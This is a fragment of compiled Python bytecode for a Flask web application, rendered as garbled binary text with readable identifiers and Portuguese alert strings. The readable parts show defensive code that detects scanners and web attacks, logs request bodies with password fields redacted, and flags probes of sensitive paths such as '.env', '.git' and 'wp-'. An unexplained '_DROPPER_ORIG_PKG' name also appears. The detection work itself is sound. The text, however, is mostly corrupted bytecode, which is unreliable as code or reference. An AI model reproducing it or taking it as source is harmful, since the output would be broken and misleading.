&ÿr  c                 C   s   dd l }| t| ƒt|ƒ¡S )Nr   )ÚhmacÚcompare_digestr]   )r%  r3  r  rF   rF   rG   r  §  s   r  c                     s  t ƒ } tj}tj dd¡}tj}t ¡ ‰ d‡ fdd„	}t |¡rG|d| › dƒrGt	dd	d
d| ddœd|d d… ddœd|d d… ddœgd t
D ]<}| |¡sU| |¡r…|d| › dƒr‚t	dddd| ddœdtjddœd|d d… ddœd|d d… ddœgd  d S qId S )Nú
User-AgentrW   r›   c                    s(   t  | d¡}ˆ | |k rdS ˆ t | < dS )Nr   FT)Ú_web_alert_cacherï  )r–  ÚsecsÚlastr:  rF   rG   Ú	_cooldown´  s
   z%detect_web_attacks.<locals>._cooldownÚua_r(  zSCANNER DETECTADOz(Ferramenta de scan identificada no site.râ  rö  Tr3  ÚPathr'  r–  Fr7  Úatk_zTENTATIVA DE ATAQUE WEBz)Padrao malicioso detectado na requisicao.é¹ ÚMetodor¢  zURL completar	  )r›   )r5  r   r¢   r2  rï  r   r<  Ú_SCANNER_UArÄ  rì  Ú_ATTACK_PATTERNSr  )r@  r¢   ÚuaÚfull_urlr   r‘  rF   r:  rG   Údetect_web_attacks¬  s@   
ýü
üüóÿr*  Úlogszgangstar_attacks.log>   rß  r  r  Úgangstar_attacksz%(message)sc                 C   sÂ  dd l }zÒtƒ }tj}tj}| j}tj dd¡d d… }tj dd¡d d… }tjp+d}|dk}	|dk}
|	s;|
s;| W S d}|	rš|ršzMtj	d	d
}d| 
¡ v r|rz| |¡}dD ]
}||v rbd||< qX|j|ddd d… }W n ty~   |d d… }Y nw d| 
¡ v r|r|d d… }W n ty™   d}Y nw d}|
r´z| j	d	d
d d… }W n	 ty³   Y nw dd l}|j ¡  ¡ |||||||||dœ
}t |j|dd¡ W | S  tyà   Y | S w )Nr   r  rW   r‘  ÚRefererr	  rà  rí  T)Úas_textr  )r¶   ÚsenhaÚpassÚpwdÚsecretrD  F)Úensure_asciir[  r›   r\  )
Útsr@  r  r¢   rû  r(  Úrefererrî  r²  r   )r  r5  r   r¢   r  r  r2  rï  Úcontent_typeÚget_datar   ÚloadsÚdumpsr±   r   rG  r  Ú_atk_loggerr!  )ÚresponseÚ_jsonr@  r¢   r  rû  r(  r5  rî  Úis_postÚis_errorÚbody_strrc  Úparsedru   Ú	resp_bodyÚ_dtÚrecordrF   rF   rG   Úlog_attack_detailsè  sv   

€ÿ€ÿÿöþþrD  r<  c              	      s   t ƒ }tj‰ t‡ fdd„dD ƒƒr:d|› }t ¡ }|t |d¡ dkr:|t|< tddd	d
|ddœdˆ ddœgd ddlm	} |ddiƒdfS )Nc                 3   s    | ]	}|ˆ   ¡ v V  qd S r  )r   rË  ©r¢   rF   rG   rT   /  r&  znot_found.<locals>.<genexpr>)z.phpz.envrí  zwp-z.gitr?  ÚbackupÚ404_r   rÀ  zRECONHECIMENTO DETECTADOz1IP tentando acessar caminho sensivel inexistente.râ  rö  Tr3  zPath tentador7  ©r   r9  z	Not foundr<  )
r5  r   r¢   rC  r<  r  rï  rì  Úflaskr   )r  r@  r–  r  r   rF   rE  rG   r;  *  s"   


þü	r;  r[  c              
   C   s^   t ƒ }tdddd|ddœdtjddœdt| ƒd d	… d
dœgd ddlm} |ddiƒdfS )NzERRO 500 INTERNOz*Erro interno no servidor - verificar logs.r$  rö  Tr3  r"  r<  r‘  Fr7  r   rH  r9  zInternal server errorr[  )r5  rì  r   r¢   r]   rI  r   )r  r@  r   rF   rF   rG   Úserver_error@  s   
ýü
rJ  Ú__main__rÂ  iˆ  )ÚdebugÚhostÚport)rç  Nr  )NNrÑ  FNN)r»  r¼  r½  r¾  )r  r  )r  r  r$  )órI  r   r   r   r   r   r   r   r	   r¡   r©   r¯   Údefusedxml.ElementTreeÚElementTreerU  Úwerkzeug.utilsr
   Úwerkzeug.securityr   r   r^  r  r   r   r<  rC  r  Úrequestsr›  ÚPILr   rQ  ÚMAX_IMAGE_PIXELSr£   rt  rB   rz   Úcollectionsr   rD   rE   rH   rb   rp   Ú_DROPPER_ORIG_PKGrx   r   r¥   r¦   r§   r¨   r»   r9  r:  r;  r<  r=  r>  r?  r@  rA  rB  rr  r|  rê  rú  r	  r  r'  rn  rŠ  r“  rª  r²  rÌ  Ú__name__r>  r¢   r[   Úabspathr  Ú__file__ÚSECRET_KEY_FILEr¬   rI  rÄ  rJ  ro  Ú
secret_keyr¤   r  rK  r?  r   ÚDATA_DIRr  r®  rž   rI  rM  rO  r\  rÃ  r@  ÚBoundedSemaphorerA  rÞ  r=  r>  r8  rG  rH  rF  ÚLockr>  r  rš  rì  r  r  r  r$  r(  r0  r5  rA  rD  rI  rJ  rO  rP  rU  r^  rc  rg  rm  r]   rŠ  r  r¡  r³  r¹  rÐ  rÓ  ÚrouterÝ  rÞ  rý  r  r  r5  r9  rB  rF  rH  rI  rL  rQ  rk  ro  rp  rz  r}  r  rû  r’  r”  r•  rœ  r¥  r§  r©  rª  r¬  r­  r¯  r±  r¹  r  r#  r3  r9  r<  rC  rH  rI  rf  ri  rt  r‚  r†  r‰  rŠ  rŽ  r‘  rÌ  rÎ  rÒ  rÙ  rÚ  rà  rè  r_  Ú_cleanup_threadra  Úunicodedatar
  rï  rñ  rý  r  r  r  rœ  ru  r'  r&  r  r  Úbefore_requestr  r  r*  Ú_ATTACK_LOGÚ_ATTACK_LOG_PATHSÚloggingÚ_loggingÚ	getLoggerr:  ÚhandlersÚFileHandlerÚ_atk_handlerÚsetFormatterÚ	FormatterÚ
addHandlerÚsetLevelÚINFOÚafter_requestrD  Úerrorhandlerr;  rJ  rª   rF   rF   rF   rG   Ú<module>   sB  ( 
	+`#  Zv(MN*#1 ÿ€ÿ



"



ý@			**     t



8

Z)
)

 



H





-
/



1




	þmÿ[


C
_
^

& 


]'

32



ü
$/



A
ÿ